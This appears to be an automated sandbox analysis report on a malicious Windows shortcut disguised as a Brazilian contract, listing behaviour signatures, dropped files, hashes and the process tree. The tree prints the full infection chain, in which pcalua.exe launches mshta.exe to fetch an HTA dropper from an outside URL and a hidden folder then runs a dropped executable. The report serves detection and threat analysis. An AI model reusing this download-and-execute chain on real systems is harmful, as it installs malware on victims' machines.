Analysis

  • max time kernel
    41s
  • max time network
    158s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 12:43

General

  • Target
    Contrato_Indeniza_Brasil-83Q2BW.lnk
  • Size 1KB
  • Sample260803-pydpyabk3s
  • SHA256 11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 20 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-83Q2BW.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6080
    • C:\WINDOWS\system32\pcalua.exe
      "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4124
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4220
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:1032
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:5648
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:484
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:3732
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:4524
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                • Modifies registry class
                PID:3444
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:1924
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                • Modifies registry class
                PID:5116
            • C:\Windows\System32\attrib.exe
              "C:\Windows\System32\attrib.exe" +h +s "C:\svdqiddi\"
              4⤵
              • Views/modifies file attributes
              PID:2672
            • C:\svdqiddi\svdqiddi.exe
              "C:\svdqiddi\svdqiddi.exe" C:\svdqiddi\svdqiddi
              4⤵
                PID:256
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                  PID:3388
                  • C:\Windows\system32\rundll32.exe
                    C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                    5⤵
                      PID:5548
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                    4⤵
                    • Executes a command shell one-liner
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:2844
                    • C:\Windows\System32\PING.EXE
                      ping -n 300 -w 1000 127.0.0.1
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:6124

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  103621DE9CD5414CC2538780B4B75751

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                  • Size 808B
                  • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                  • MD5 SHA1 SHA512 TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 283B
                  • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                  • MD5 SHA1 SHA512 TLSH

                  103621DE9CD5414CC2538780B4B75751

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                  • Size 192B
                  • SHA256 55392f2f7274da8535a89c31540ef2a832dbedff9e4f9e0648e11e1ffa454c40
                  • MD5 SHA1 SHA512 TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 192B
                  • SHA256 8b1fc2567dc1e6bf81a8e3e19e28553fe8215b52cac3d75cda9591e319817ec5
                  • MD5 SHA1 SHA512 TLSH

                  a1.zip

                  • Path C:\svdqiddi\a1.zip
                  • Size 494KB
                  • SHA256 c3b6839752cb60ad7679b924cde20840ea5d09307600082c0e0886bc2c73c576
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a2.zip

                  • Path C:\svdqiddi\a2.zip
                  • Size 1.3MB
                  • SHA256 98d00bd39bc634d537e2ac33fcb3cb573d9fe8eadd13cf001dd621cbbb8a7bce
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a3.zip

                  • Path C:\svdqiddi\a3.zip
                  • Size 2KB
                  • SHA256 6839a2168a1d1fbe144f4c8ba9c1bc3e9c002356fb4e0bf052a7dd4814fbaf7e
                  • MD5 SHA1 SHA512 TLSH

                  svdqiddi

                  • Path C:\svdqiddi\svdqiddi
                  • Size 1.3MB
                  • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  svdqiddi.exe

                  • Path C:\svdqiddi\svdqiddi.exe
                  • Size 957KB
                  • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/256-121-0x0000000006260000-0x0000000006427000-memory.dmp

                  memory/4220-113-0x0000019B81AF0000-0x0000019B81B5D000-memory.dmp

                  memory/4220-129-0x0000019B81AF0000-0x0000019B81B5D000-memory.dmp

                  memory/4220-11-0x0000019B81AF0000-0x0000019B81B5D000-memory.dmp

                  memory/4220-43-0x0000019B81AF0000-0x0000019B81B5D000-memory.dmp